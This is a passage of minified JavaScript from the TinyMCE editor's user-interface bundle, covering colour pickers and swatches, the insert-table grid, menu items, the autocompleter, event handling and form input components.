B(t,function(t){switch(t.type){case"cardcontainer":return r=ey((o=t).items,a),i="vertical"===o.direction?"tox-collection__item-container--column":Mv,u="left"===o.align?"tox-collection__item-container--align-left":"tox-collection__item-container--align-right",{dom:{tag:"div",classes:[Bv,i,u,function(){switch(o.valign){case"top":return"tox-collection__item-container--valign-top";case"middle":return"tox-collection__item-container--valign-middle";case"bottom":return"tox-collection__item-container--valign-bottom"}}()]},components:r};case"cardimage":return n=t.src,{dom:{tag:"img",classes:t.classes,attributes:{src:n,alt:t.alt.getOr("")}}};case"cardtext":var e=t.name.exists(function(t){return wt(a.cardText.highlightOn,t)})?vt.from(a.cardText.matchText).getOr(""):"";return Sb(Db(t.text,e),t.classes)}var n,o,r,i,u})},ny=al(Ug(),jg()),oy=/^#?([a-f\d])([a-f\d])([a-f\d])$/i,ry=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i,iy=Math.min,uy=Math.max,ay=Math.round,cy=/^rgb\((\d+),\s*(\d+),\s*(\d+)\)/,sy=/^rgba\((\d+),\s*(\d+),\s*(\d+),\s*(\d?(?:\.\d+)?)\)/,ly=Ib(255,0,0,1),fy=tinymce.util.Tools.resolve("tinymce.util.LocalStorage"),dy="tinymce-custom-colors";function my(t){return!1!==t.getParam("custom_colors")}function gy(t){var e=t.getParam("color_map");return void 0!==e?function(t){for(var e=[],n=0;n<t.length;n+=2)e.push({text:t[n+1],value:"#"+Gb(t[n]).value,type:"choiceitem"});return e}(e):Ay}function py(t){By.add(t)}function hy(t){var e,n=(e=gy(t).length,Math.max(5,Math.ceil(Math.sqrt(e))));return t.getParam("color_cols",n,"number")}function vy(t){var e="choiceitem",n={type:e,text:"Remove color",icon:"color-swatch-remove-color",value:"remove"};return t?[n,{type:e,text:"Custom color",icon:"color-picker",value:"custom"}]:[n]}function by(e,n,t,o){"custom"===t?Fy(e)(function(t){t.each(function(t){py(t),e.execCommand("mceApplyTextcolor",n,t),o(t)})},My):"remove"===t?(o(""),e.execCommand("mceRemoveTextcolor",n)):(o(t),e.execCommand("mceApplyTextcolor",n,t))}function yy(t,e){return t.concat(B(By.state(),function(t){return{type:Dy,text:t,value:t}}).concat(vy(e)))}function xy(e,n){return function(t){t(yy(e,n))}}function wy(t,e,n){t.setIconFill("forecolor"===e?"tox-icon-text-color__color":"tox-icon-highlight-bg-color__color",n)}function Sy(i,n,u,t,o){i.ui.registry.addSplitButton(n,{tooltip:t,presets:"color",icon:"forecolor"===n?"text-color":"highlight-bg-color",select:function(n){var o,r=u;return i.dom.getParents(i.selection.getStart(),function(t){var e;(e=t.style["forecolor"===r?"color":"background-color"])&&(o=o||e)}),vt.from(o).bind(function(t){return Hb(t).map(function(t){var e=Fb(t).value;return ut(n.toLowerCase(),e)})}).getOr(!1)},columns:hy(i),fetch:xy(gy(i),my(i)),onAction:function(t){by(i,u,o.get(),st)},onItemAction:function(t,e){by(i,u,e,function(t){o.set(t),i.fire("TextColorChange",{name:n,color:t})})},onSetup:function(e){function t(t){t.name===n&&wy(e,t.name,t.color)}return wy(e,n,o.get()),i.on("TextColorChange",t),function(){i.off("TextColorChange",t)}}})}function ky(e,t,n,o){e.ui.registry.addNestedMenuItem(t,{text:o,icon:"forecolor"===t?"text-color":"highlight-bg-color",getSubmenuItems:function(){return[{type:"fancymenuitem",fancytype:"colorswatch",onAction:function(t){by(e,n,t.value,st)}}]}})}function Cy(t,e,n,o,r,i,u,a){return iv(t,nv(e),Iy(e,n,o,"color"!==r?"normal":"color",i,u,a),o,r)}function Oy(t,e){var n=$h(e);return 1===t?{mode:"menu",moveOnTab:!0}:"auto"===t?{mode:"grid",selector:"."+n.item,initSize:{numColumns:1,numRows:1}}:{mode:"matrix",rowSelector:"."+("color"===e?"tox-swatches__row":"tox-collection__group")}}function _y(t,e){return ri(e+"x"+t)}var Ty,Ey,Dy="choiceitem",Ay=[{type:Dy,text:"Light Green",value:"#BFEDD2"},{type:Dy,text:"Light Yellow",value:"#FBEEB8"},{type:Dy,text:"Light Red",value:"#F8CAC6"},{type:Dy,text:"Light Purple",value:"#ECCAFA"},{type:Dy,text:"Light Blue",value:"#C2E0F4"},{type:Dy,text:"Green",value:"#2DC26B"},{type:Dy,text:"Yellow",value:"#F1C40F"},{type:Dy,text:"Red",value:"#E03E2D"},{type:Dy,text:"Purple",value:"#B96AD9"},{type:Dy,text:"Blue",value:"#3598DB"},{type:Dy,text:"Dark Turquoise",value:"#169179"},{type:Dy,text:"Orange",value:"#E67E23"},{type:Dy,text:"Dark Red",value:"#BA372A"},{type:Dy,text:"Dark Purple",value:"#843FA1"},{type:Dy,text:"Dark Blue",value:"#236FA1"},{type:Dy,text:"Light Gray",value:"#ECF0F1"},{type:Dy,text:"Medium Gray",value:"#CED4D9"},{type:Dy,text:"Gray",value:"#95A5A6"},{type:Dy,text:"Dark Gray",value:"#7E8C8D"},{type:Dy,text:"Navy Blue",value:"#34495E"},{type:Dy,text:"Black",value:"#000000"},{type:Dy,text:"White",value:"#ffffff"}],By=function(n){void 0===n&&(n=10);function o(t){i.splice(t,1)}var t,e=fy.getItem(dy),r=y(e)?JSON.parse(e):[],i=n-(t=r).length<0?t.slice(0,n):t;return{add:function(t){var e;(-1===(e=l(i,t))?vt.none():vt.some(e)).each(o),i.unshift(t),i.length>n&&i.pop(),fy.setItem(dy,JSON.stringify(i))},state:function(){return i.slice(0)}}}(10),My="#000000",Fy=function(r){return function(n,t){var o=!1;r.windowManager.open({title:"Color Picker",size:"normal",body:{type:"panel",items:[{type:"colorpicker",name:"colorpicker",label:"Color"}]},buttons:[{type:"cancel",name:"cancel",text:"Cancel"},{type:"submit",name:"save",text:"Save",primary:!0}],initialData:{colorpicker:t},onAction:function(t,e){"hex-valid"===e.name&&(o=e.value)},onSubmit:function(t){var e=t.getData().colorpicker;o?(n(vt.from(e)),t.close()):r.windowManager.alert(r.translate(["Invalid hex color code: {0}",e]))},onClose:st,onCancel:function(){n(vt.none())}})}},Iy=function(n,o,r,i,u,a,c){return nt(B(n,function(e){return"choiceitem"===e.type?ao("choicemenuitem",Uv,e).fold(ov,function(t){return vt.some(function(e,t,n,o,r,i,u,a){void 0===a&&(a=!0);var c=Tb({presets:n,textContent:t?e.text:vt.none(),htmlContent:vt.none(),ariaLabel:e.text,iconContent:e.icon,shortcutContent:t?e.shortcut:vt.none(),checkMark:t?vt.some(Ob(u.icons)):vt.none(),caret:vt.none(),value:e.value},u,a);return Yo(bb({data:yb(e),disabled:e.disabled,getApi:function(e){return{setActive:function(t){Rg.set(e,t)},isActive:function(){return Rg.isOn(e)},isDisabled:function(){return gd.isDisabled(e)},setDisabled:function(t){return gd.set(e,t)}}},onAction:function(t){return o(e.value)},onSetup:function(t){return t.setActive(r),st},triggersSubmenu:!1,itemBehaviours:[]},c,i,u),{toggling:{toggleClass:_v,toggleOnExecute:!1,selected:e.active}})}(t,1===r,i,o,a(e.value),u,c,nv(n)))}):vt.none()}))},Ry=Ir("cell-over"),Ny=Ir("cell-execute"),Py={inserttable:function(u){var t=Ir("size-label"),a=function(t){for(var e=[],n=0;n<10;n++){for(var o=[],r=0;r<10;r++)o.push(function(e,n,t){function o(t){return br(t,Ny,{row:e,col:n})}function r(t,e){e.stop(),o(t)}var i;return Tu({dom:{tag:"div",attributes:((i={role:"button"})["aria-labelledby"]=t,i)},behaviours:ec([mm("insert-table-picker-cell",[Cr(vi(),Mg.focus),Cr(Ii(),o),Cr(Ci(),r),Cr(Ni(),r)]),Rg.config({toggleClass:"tox-insert-table-picker__selected",toggleOnExecute:!1}),Mg.config({onFocus:function(t){return br(t,Ry,{row:e,col:n})}})])})}(n,r,t));e.push(o)}return e}(t),e=_y(0,0),c=Lm({dom:{tag:"span",classes:["tox-insert-table-picker__label"],attributes:{id:t}},components:[e],behaviours:ec([Dg.config({})])});return{type:"widget",data:{value:Ir("widget-id")},dom:{tag:"div",classes:["tox-fancymenuitem"]},autofocus:!0,components:[ny.widget({dom:{tag:"div",classes:["tox-insert-table-picker"]},components:H(a,function(t){return B(t,Eu)}).concat(c.asSpec()),behaviours:ec([mm("insert-table-picker",[ou(function(t){Dg.set(c.get(t),[e])}),Er(Ry,function(t,e,n){var o=n.event,r=o.row,i=o.col;!function(t,e,n){for(var o=0;o<10;o++)for(var r=0;r<10;r++)Rg.set(t[o][r],o<=e&&r<=n)}(a,r,i),Dg.set(c.get(t),[_y(r+1,i+1)])}),Er(Ny,function(t,e,n){var o=n.event,r=o.row,i=o.col;u.onAction({numRows:r+1,numColumns:i+1}),vr(t,Vi())})]),Tg.config({initSize:{numRows:10,numColumns:10},mode:"flatgrid",selector:'[role="button"]'})])})]}},colorswatch:function(e,t){var n,o,r,i=(o=t,r=(n=e).initData.allowCustomColors&&o.colorinput.hasCustomColors(),n.initData.colors.fold(function(){return yy(o.colorinput.getColors(),r)},function(t){return t.concat(vy(r))})),u=t.colorinput.getColorCols(),a=Cy(Ir("menu-value"),i,function(t){e.onAction({value:t})},u,"color",wv.CLOSE_ON_EXECUTE,T,t.shared.providers),c=lt(lt({},a),{markers:$h("color"),movement:Oy(u,"color")});return{type:"widget",data:{value:Ir("widget-id")},dom:{tag:"div",classes:["tox-fancymenuitem"]},autofocus:!0,components:[ny.widget(qg.sketch(c))]}}},Vy=function(t){var e=t.text.fold(function(){return{}},function(t){return{innerHtml:t}});return{type:"separator",dom:lt({tag:"div",classes:[kv,"tox-collection__group-heading"]},e),components:[]}},Hy=function(t,e,n,o){void 0===o&&(o=!0);var r=Tb({presets:"normal",iconContent:t.icon,textContent:t.text,htmlContent:vt.none(),ariaLabel:t.text,caret:vt.none(),checkMark:vt.none(),shortcutContent:t.shortcut},n,o);return bb({data:yb(t),getApi:function(e){return{isDisabled:function(){return gd.isDisabled(e)},setDisabled:function(t){return gd.set(e,t)}}},disabled:t.disabled,onAction:t.onAction,onSetup:t.onSetup,triggersSubmenu:!1,itemBehaviours:[]},r,e,n)},Ly=function(t,e,n,o,r){void 0===o&&(o=!0);var i=(r=void 0!==r&&r)?xb("chevron-down",n.icons,[Dv]):xb("chevron-right",n.icons,[Dv]),u=Tb({presets:"normal",iconContent:t.icon,textContent:t.text,htmlContent:vt.none(),ariaLabel:t.text,caret:vt.some(i),checkMark:vt.none(),shortcutContent:t.shortcut},n,o);return bb({data:yb(t),getApi:function(e){return{isDisabled:function(){return gd.isDisabled(e)},setDisabled:function(t){return gd.set(e,t)}}},disabled:t.disabled,onAction:st,onSetup:t.onSetup,triggersSubmenu:!0,itemBehaviours:[]},u,e,n)},zy=function(t,e,n,o){void 0===o&&(o=!0);var r=Tb({iconContent:t.icon,textContent:t.text,htmlContent:vt.none(),ariaLabel:t.text,checkMark:vt.some(Ob(n.icons)),caret:vt.none(),shortcutContent:t.shortcut,presets:"normal",meta:t.meta},n,o);return Yo(bb({data:yb(t),disabled:t.disabled,getApi:function(e){return{setActive:function(t){Rg.set(e,t)},isActive:function(){return Rg.isOn(e)},isDisabled:function(){return gd.isDisabled(e)},setDisabled:function(t){return gd.set(e,t)}}},onAction:t.onAction,onSetup:t.onSetup,triggersSubmenu:!1,itemBehaviours:[]},r,e,n),{toggling:{toggleClass:_v,toggleOnExecute:!1,selected:t.active}})},Uy=function(e,n){return tt(Py,e.fancytype).map(function(t){return t(e,n)})};function jy(t,u,a,e,c,s,l){var n=1===e,o=!n||nv(t);return nt(B(t,function(t){switch(t.type){case"separator":return ao("Autocompleter.Separator",Ih,t).fold(ov,function(t){return vt.some(Vy(t))});case"cardmenuitem":return ao("cardmenuitem",zv,t).fold(ov,function(e){return vt.some((t=lt(lt({},e),{onAction:function(t){e.onAction(t),a(e.value,e.meta)}}),n=c,o=s,r={itemBehaviours:Eb(e.meta,s),cardText:{matchText:u,highlightOn:l}},i={dom:_b(t.label),optComponents:[vt.some({dom:{tag:"div",classes:[Bv,Mv]},components:ey(t.items,r)})]},bb({data:yb(lt({text:vt.none()},t)),disabled:t.disabled,getApi:function(n){return{isDisabled:function(){return gd.isDisabled(n)},setDisabled:function(e){gd.set(n,e),St(vs(n.element,"*"),function(t){n.getSystem().getByDom(t).each(function(t){t.hasConfigured(gd)&&gd.set(t,e)})})}}},onAction:t.onAction,onSetup:t.onSetup,triggersSubmenu:!1,itemBehaviours:vt.from(r.itemBehaviours).getOr([])},i,n,o.providers)));var t,n,o,r,i});default:return ao("Autocompleter.Item",Rh,t).fold(ov,function(t){return vt.some(function(e,n,t,o,r,i,u,a){void 0===a&&(a=!0);var c=Tb({presets:o,textContent:vt.none(),htmlContent:t?e.text.map(function(t){return Db(t,n)}):vt.none(),ariaLabel:e.text,iconContent:e.icon,shortcutContent:vt.none(),checkMark:vt.none(),caret:vt.none(),value:e.value},u.providers,a,e.icon);return bb({data:yb(e),disabled:e.disabled,getApi:rt({}),onAction:function(t){return r(e.value,e.meta)},onSetup:rt(st),triggersSubmenu:!1,itemBehaviours:Eb(e.meta,u)},c,i,u.providers)}(t,u,n,"normal",a,c,s,o))})}}))}function Wy(t,e,n,o,r){var i=nv(e),u=nt(B(e,function(t){function e(t){return function(t,e,n,o,r){function i(t){return r?lt(lt({},t),{shortcut:vt.none(),icon:t.text.isSome()?vt.none():t.icon}):t}var u=n.shared.providers;switch(t.type){case"menuitem":return ao("menuitem",Gv,t).fold(ov,function(t){return vt.some(Hy(i(t),e,u,o))});case"nestedmenuitem":return ao("nestedmenuitem",Xv,t).fold(ov,function(t){return vt.some(Ly(i(t),e,u,o,r))});case"togglemenuitem":return ao("togglemenuitem",Yv,t).fold(ov,function(t){return vt.some(zy(i(t),e,u,o))});case"separator":return ao("separatormenuitem",Ih,t).fold(ov,function(t){return vt.some(Vy(t))});case"fancymenuitem":return ao("fancymenuitem",Wv,t).fold(ov,function(t){return Uy(i(t),n)});default:return console.error("Unknown item in general menu",t),vt.none()}}(t,n,o,r?!Tt(t,"text"):i,r)}return"nestedmenuitem"===t.type&&t.getSubmenuItems().length<=0?e(lt(lt({},t),{disabled:!0})):e(t)}));return(r?rv:iv)(t,i,u,1,"normal")}function Gy(t){return Zg.singleData(t.value,t)}function Xy(t,e,n){return Ru(t,e,n).isSome()}function Yy(n,o){var r=null;return{cancel:function(){null!==r&&(clearTimeout(r),r=null)},schedule:function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];r=setTimeout(function(){n.apply(null,t),r=null},o)}}}function qy(t){var e=t.raw;return void 0===e.touches||1!==e.touches.length?vt.none():vt.some(e.touches[0])}function Ky(){return ln().browser.isFirefox()}function Jy(e,t){var n,o,r,i,u,a,c,s,l,f=lt({stopBackspace:!0},t),d=(u=f,a=gc(),c=Po(!1),s=Yy(function(t){u.triggerEvent(Pi(),t),c.set(!0)},400),l=lr([{key:si(),value:function(n){return qy(n).each(function(t){s.cancel();var e={x:t.clientX,y:t.clientY,target:n.target};s.schedule(n),c.set(!1),a.set(e)}),vt.none()}},{key:li(),value:function(t){return s.cancel(),qy(t).each(function(i){a.on(function(t){var e=i,n=t,o=Math.abs(e.clientX-n.x),r=Math.abs(e.clientY-n.y);(5<o||5<r)&&a.clear()})}),vt.none()}},{key:fi(),value:function(e){return s.cancel(),a.get().filter(function(t){return zt(t.target,e.target)}).map(function(t){return c.get()?(e.prevent(),!1):u.triggerEvent(Ni(),e)})}}]),{fireIfReady:function(e,t){return tt(l,t).bind(function(t){return t(e)})}}),m=B(["touchstart","touchmove","touchend","touchcancel","gesturestart","mousedown","mouseup","mouseover","mousemove","mouseout","click"].concat(["selectstart","input","contextmenu","change","transitionend","transitioncancel","drag","dragstart","dragend","dragenter","dragleave","dragover","drop","keyup"]),function(t){return pc(e,t,function(e){d.fireIfReady(e,t).each(function(t){t&&e.kill()}),f.triggerEvent(t,e)&&e.kill()})}),g=gc(),p=pc(e,"paste",function(e){d.fireIfReady(e,"paste").each(function(t){t&&e.kill()}),f.triggerEvent("paste",e)&&e.kill(),g.set(setTimeout(function(){f.triggerEvent(Mi(),e)},0))}),h=pc(e,"keydown",function(t){var e;f.triggerEvent("keydown",t)?t.kill():!f.stopBackspace||(e=t).raw.which!==vd[0]||wt(["input","textarea"],Ft(e.target))||Xy(e.target,'[contenteditable="true"]')||t.prevent()}),v=(n=e,o=function(t){f.triggerEvent("focusin",t)&&t.kill()},Ky()?hc(n,"focus",o):pc(n,"focusin",o)),b=gc(),y=(r=e,i=function(t){f.triggerEvent("focusout",t)&&t.kill(),b.set(setTimeout(function(){f.triggerEvent(Bi(),t)},0))},Ky()?hc(r,"blur",i):pc(r,"focusout",i));return{unbind:function(){St(m,function(t){t.unbind()}),h.unbind(),v.unbind(),y.unbind(),p.unbind(),g.on(clearTimeout),b.on(clearTimeout)}}}function $y(t,e){return Po(tt(t,"target").getOr(e))}function Qy(t,o,e,n,r,i){var u,a,c=t(o,n),s=(u=Po(!1),a=Po(!1),{stop:function(){u.set(!0)},cut:function(){a.set(!0)},isStopped:u.get,isCut:a.get,event:e,setSource:r.set,getSource:r.get});return c.fold(function(){return i.logEventNoHandlers(o,n),ux.complete()},function(e){var n=e.descHandler;return Ur(n)(s),s.isStopped()?(i.logEventStopped(o,e.element,n.purpose),ux.stopped()):s.isCut()?(i.logEventCut(o,e.element,n.purpose),ux.complete()):Yt(e.element).fold(function(){return i.logNoParent(o,e.element,n.purpose),ux.complete()},function(t){return i.logEventResponse(o,e.element,n.purpose),ux.resume(t)})})}function Zy(){function r(t){Rr(t.element).each(function(t){delete a[t],i.unregisterId(t)})}var u,i=(u={},{registerId:function(r,i,t){J(t,function(t,e){var n,o=void 0!==u[e]?u[e]:{};o[i]={cHandler:C.apply(void 0,[(n=t).handler].concat(r)),purpose:n.purpose},u[e]=o})},unregisterId:function(n){J(u,function(t,e){Tt(t,n)&&delete t[n]})},filterByType:function(t){return tt(u,t).map(function(t){return $(t,function(t,e){return{id:e,descHandler:t}})}).getOr([])},find:function(t,e,n){return tt(u,e).bind(function(o){return mr(n,function(t){return e=o,Rr(n=t).bind(function(t){return tt(e,t)}).map(function(t){return{element:n,descHandler:t}});var e,n},t)})}}),a={};return{find:function(t,e,n){return i.find(t,e,n)},filter:function(t){return i.filterByType(t)},register:function(t){var n,o=Rr((n=t).element).getOrThunk(function(){return t=n.element,e=Ir(du+"uid-"),gu(t,e),e;var t,e});et(a,o)&&function(t){var e=a[o];if(e!==t)throw new Error('The tagId "'+o+'" is already used by: '+Fr(e.element)+"\nCannot use it for: "+Fr(t.element)+"\nThe conflicting element is"+(vn(e.element)?" ":" not ")+"already in the DOM");r(t)}(t),i.registerId([t],o,t.events),a[o]=t},unregister:r,getById:function(t){return tt(a,t)}}}function tx(n){function o(e){return Yt(n.element).fold(D,function(t){return zt(e,t)})}function s(t,e){return i.find(o,t,e)}function r(e){var t=i.filter(Fi());St(t,function(t){Ur(t.descHandler)(e)})}var i=Zy(),t=Jy(n.element,{triggerEvent:function(e,n){return zu(e,n.target,function(t){return cx(s,e,n,n.target,t)})}}),u={debugInfo:rt("real"),triggerEvent:function(e,n,o){zu(e,n,function(t){return cx(s,e,o,n,t)})},triggerFocus:function(a,c){Rr(a).fold(function(){ka(a)},function(t){zu(Ai(),a,function(t){var e,n,o=s,r=Ai(),i=t,u=$y(e={originator:c,kill:st,prevent:st,target:a},n=a);return Qy(o,r,e,n,u,i),!1})})},triggerEscape:function(t,e){u.triggerEvent("keydown",t.element,e.event)},getByUid:function(t){return g(t)},getByDom:function(t){return p(t)},build:Tu,addToGui:function(t){c(t)},removeFromGui:function(t){l(t)},addToWorld:function(t){e(t)},removeFromWorld:function(t){a(t)},broadcast:function(t){f(t)},broadcastOn:function(t,e){d(t,e)},broadcastEvent:function(t,e){m(t,e)},isConnected:D},e=function(t){t.connect(u),Xe(t.element)||(i.register(t),St(t.components(),e),u.triggerEvent(Li(),t.element,{target:t.element}))},a=function(t){Xe(t.element)||(St(t.components(),a),i.unregister(t)),t.disconnect()},c=function(t){Ns(n,t)},l=function(t){Vs(t)},f=function(t){r({universal:!0,data:t})},d=function(t,e){r({universal:!1,channels:t,data:e})},m=function(t,e){var n,o,r=i.filter(t);return o={stop:function(){n.set(!0)},cut:st,isStopped:(n=Po(!1)).get,isCut:T,event:e,setSource:_("Cannot set source of a broadcasted event"),getSource:_("Cannot get source of a broadcasted event")},St(r,function(t){Ur(t.descHandler)(o)}),o.isStopped()},g=function(t){return i.getById(t).fold(function(){return Nn.error(new Error('Could not find component with uid: "'+t+'" in system.'))},Nn.value)},p=function(t){var e=Rr(t).getOr("not found");return g(e)};return e(n),{root:n,element:n.element,destroy:function(){t.unbind(),En(n.element)},add:c,remove:l,getByUid:g,getByDom:p,addToWorld:e,removeFromWorld:a,broadcast:f,broadcastOn:d,broadcastEvent:m}}function ex(t,e,n,o){var r=hx(t,e,n,o);return dx.sketch(r)}function nx(t,e){return dx.parts.label({dom:{tag:"label",classes:["tox-label"],innerHtml:e.translate(t)}})}function ox(t){return ec([Mg.config({onFocus:t.selectOnFocus?function(t){var e=t.element,n=Qr(e);e.dom.setSelectionRange(0,n.length)}:st})])}function rx(t){return{tag:t.tag,attributes:lt({type:"text"},t.inputAttributes),styles:t.inputStyles,classes:t.inputClasses}}(Ey=Ty={})[Ey.ContentFocus=0]="ContentFocus",Ey[Ey.UiFocus=1]="UiFocus";function ix(f,c){function n(){return r.get().isSome()}function s(){n()&&tp.hide(d)}var o,t,r=gc(),l=Po(!1),d=Tu(tp.sketch({dom:{tag:"div",classes:["tox-autocompleter"]},components:[],fireDismissalEventInstead:{},inlineBehaviours:ec([mm("dismissAutocompleter",[Cr(Yi(),function(){return m()})])]),lazySink:c.getSink})),m=function(){var t;n()&&(t=r.get().map(function(t){return t.element}),Ah(t.getOr(Mt.fromDom(f.selection.getNode()))).each(Fe),s(),r.clear(),l.set(!1))},u=Rt(function(){return n=dt(f.ui.registry.getAll().popups,function(t){return ao("Autocompleter",Nh,t).fold(function(t){throw new Error(ur(t))},h)}),t=$(n,function(t){return t.ch}),e={},St(t,function(t){e[t]={}}),o=Ct(e),r=Z(n),{dataset:n,triggerChars:o,lookupByChar:function(e){return F(r,function(t){return t.ch===e})}};var t,e,n,o,r}),g=function(t){var e=t;r.get().map(function(t){return Sh(f.dom,f.selection.getRng(),t.triggerChar).bind(function(t){return _h(f,u,t,e)})}).getOrThunk(function(){return e=f,t=(n=u)(),o=e.selection.getRng(),r=e.dom,i=o,K(t.triggerChars,function(t){return Sh(r,i,t)}).bind(function(t){return _h(e,n,t)});var e,n,t,o,r,i}).fold(m,function(a){var t,e=a.context;n()||(t=bh(f,e.range),r.set({triggerChar:e.triggerChar,element:t,matchLength:e.text.length}),l.set(!1)),a.lookupData.then(function(u){r.get().map(function(t){var e,n,o,r,i=a.context;t.triggerChar===i.triggerChar&&(n=i.triggerChar,r=K(o=u,function(t){return vt.from(t.columns)}).getOr(1),0<(e=H(o,function(i){return jy(i.items,i.matchText,function(o,r){var t=f.selection.getRng();Sh(f.dom,t,n).fold(function(){return console.error("Lost context. Cursor probably moved")},function(t){var e=t.range,n={hide:function(){m()},reload:function(t){s(),g(t)}};l.set(!0),i.onAction(n,e,o,r),l.set(!1)})},r,wv.BUBBLE_TO_SANDBOX,c,i.highlightOn)})).length?function(t,e,n,o){t.matchLength=e.text.length;var r,i,u,a,c,s,l=K(n,function(t){return vt.from(t.columns)}).getOr(1);tp.showAt(d,qg.sketch((r=iv("autocompleter-value",!0,o,l,"normal"),i=l,a=((u=Ty.ContentFocus)===Ty.ContentFocus?jl:Ul)(),c=Oy(i,"normal"),s=$h("normal"),{dom:r.dom,components:r.components,items:r.items,value:r.value,markers:{selectedItem:s.selectedItem,item:s.item},movement:c,fakeFocus:u===Ty.ContentFocus,focusManager:a,menuBehaviours:qv("auto"!==i?[]:[ou(function(o,t){uv(o,4,s.item).each(function(t){var e=t.numColumns,n=t.numRows;Tg.setGridSize(o,n,e)})})])})),{anchor:{type:"node",root:Mt.fromDom(f.getBody()),node:vt.from(t.element)}}),tp.getContent(d).each(hd.highlightFirst)}(t,i,u,e):(10<=i.text.length-t.matchLength?m:s)())})})})},e={onKeypress:hh(function(t){27!==t.which&&g()},50),cancelIfNecessary:m,isMenuOpen:function(){return tp.isOpen(d)},isActive:n,isProcessingAction:l.get,getView:function(){return tp.getContent(d)}};function i(t,e){br(t,xi(),{raw:e})}!1===f.hasPlugin("rtc")&&(o=e,(t=f).on("keypress compositionend",o.onKeypress.throttle),t.on("remove",o.onKeypress.cancel),t.on("keydown",function(e){function t(){return o.getView().bind(hd.getHighlighted)}8===e.which&&o.onKeypress.throttle(e),o.isActive()&&(27===e.which&&o.cancelIfNecessary(),o.isMenuOpen()?13===e.which?(t().each(yr),e.preventDefault()):40===e.which?(t().fold(function(){o.getView().each(hd.highlightFirst)},function(t){i(t,e)}),e.preventDefault(),e.stopImmediatePropagation()):37!==e.which&&38!==e.which&&39!==e.which||t().each(function(t){i(t,e),e.preventDefault(),e.stopImmediatePropagation()}):13!==e.which&&38!==e.which&&40!==e.which||o.cancelIfNecessary())}),t.on("NodeChange",function(t){o.isActive()&&!o.isProcessingAction()&&Ah(Mt.fromDom(t.element)).isNone()&&o.cancelIfNecessary()}))}var ux=Vo([{stopped:[]},{resume:["element"]},{complete:[]}]),ax=function(e,n,o,t,r,i){return Qy(e,n,o,t,r,i).fold(D,function(t){return ax(e,n,o,t,r,i)},T)},cx=function(t,e,n,o,r){var i=$y(n,o);return ax(t,e,n,o,i,r)},sx=kl({name:"Container",factory:function(t){var e=t.dom,n=e.attributes,o=A(e,["attributes"]);return{uid:t.uid,dom:lt({tag:"div",attributes:lt({role:"presentation"},n)},o),components:t.components,behaviours:tl(t.containerBehaviours),events:t.events,domModification:t.domModification,eventOrder:t.eventOrder}},configFields:[Eo("components",[]),Zs("containerBehaviours",[]),Eo("events",{}),Eo("domModification",{}),Eo("eventOrder",{})]}),lx=rt([Eo("prefix","form-field"),Zs("fieldBehaviours",[cd,Df])]),fx=rt([Qf({schema:[mo("dom")],name:"label"}),Qf({factory:{sketch:function(t){return{uid:t.uid,dom:{tag:"span",styles:{display:"none"},attributes:{"aria-hidden":"true"},innerHtml:t.text}}}},schema:[mo("text")],name:"aria-descriptor"}),Jf({factory:{sketch:function(t){var n,o,e=(n=["factory"],o={},J(t,function(t,e){wt(n,e)||(o[e]=t)}),o);return t.factory.sketch(e)}},schema:[mo("factory")],name:"field"})]),dx=Cl({name:"FormField",configFields:lx(),partFields:fx(),factory:function(r,t,e,n){var o=el(r.fieldBehaviours,[cd.config({find:function(t){return ml(t,r,"field")}}),Df.config({store:{mode:"manual",getValue:function(t){return cd.getCurrent(t).bind(Df.getValue)},setValue:function(t,e){cd.getCurrent(t).each(function(t){Df.setValue(t,e)})}}})]),i=nu([ou(function(t,e){var o=pl(t,r,["label","field","aria-descriptor"]);o.field().each(function(n){var e=Ir(r.prefix);o.label().each(function(t){oe(t.element,"for",e),oe(n.element,"id",e)}),o["aria-descriptor"]().each(function(t){var e=Ir(r.prefix);oe(t.element,"id",e),oe(n.element,"aria-describedby",e)})})})]);return{uid:r.uid,dom:r.dom,components:t,behaviours:o,events:i,apis:{getField:function(t){return ml(t,r,"field")},getLabel:function(t){return ml(t,r,"label")}}}},apis:{getField:function(t,e){return t.getField(e)},getLabel:function(t,e){return t.getLabel(e)}}}),mx=Object.freeze({__proto__:null,exhibit:function(t,e){return zr({attributes:lr([{key:e.tabAttr,value:"true"}])})}}),gx=xa({fields:[Eo("tabAttr","data-alloy-tabstop")],name:"tabstopping",active:mx}),px=tinymce.util.Tools.resolve("tinymce.html.Entities"),hx=function(t,e,n,o){return{dom:vx(n),components:t.toArray().concat([e]),fieldBehaviours:ec(o)}},vx=function(t){return{tag:"div",classes:["tox-form__group"].concat(t)}},bx=Ir("form-component-change"),yx=Ir("form-close"),xx=Ir("form-cancel"),wx=Ir("form-action"),Sx=Ir("form-submit"),kx=Ir("form-block"),Cx=Ir("form-unblock"),Ox=Ir("form-tabchange"),_x=Ir("form-resize"),Tx=rt([wo("data"),Eo("inputAttributes",{}),Eo("inputStyles",{}),Eo("tag","input"),Eo("inputClasses",[]),Ju("onSetValue"),Eo("styles",{}),Eo("eventOrder",{}),Zs("inputBehaviours",[Df,Mg]),Eo("selectOnFocus",!0)]),Ex=kl({name:"Input",configFields:Tx(),factory:function(t,e){return{uid:t.uid,dom:rx(t),components:[],behaviours:lt(lt({},ox(n=t)),el(n.inputBehaviours,[Df.config({store:lt(lt({mode:"manual"},n.data.map(function(t){return{initialValue:t}}).getOr({})),{getValue:function(t){return Qr(t.element)},setValue:function(t,e){Qr(t.element)!==e&&Zr(t.element,e)}}),onSetValue:n.onSetValue})])),eventOrder:t.eventOrder};var n}}),Dx={},Ax={exports:Dx};function Bx(t){setTimeout(function(){throw t},0)}function Mx(t){var e=Ft(t);return wt(Gx,e)}function Fx(t,e){qr(e.getRoot(t).getOr(t.element),e.invalidClass),e.notify.each(function(e){Mx(t.element)&&oe(t.element,"aria-invalid",!1),e.getContainer(t).each(function(t){Mr(t,e.validHtml)}),e.onValid(t)})}function Ix(e,t,n,o){Yr(t.getRoot(e).getOr(e.element),t.invalidClass),t.notify.each(function(t){Mx(e.element)&&oe(e.element,"aria-invalid",!0),t.getContainer(e).each(function(t){Mr(t,o)}),t.onInvalid(e,o)})}function Rx(e,t,n){return t.validator.fold(function(){return Wx(Nn.value(!0))},function(t){return t.validate(e)})}function Nx(e,n,t){return n.notify.each(function(t){t.onValidate(e)}),Rx(e,n).map(function(t){return e.getSystem().isConnected()?t.fold(function(t){return Ix(e,n,0,t),Nn.error(t)},function(t){return Fx(e,n),Nn.value(t)}):Nn.error("No longer in system")})}!function(){var t=this,e=function(){var t,e,n,o={exports:{}};function r(){}function i(t){if("object"!=typeof 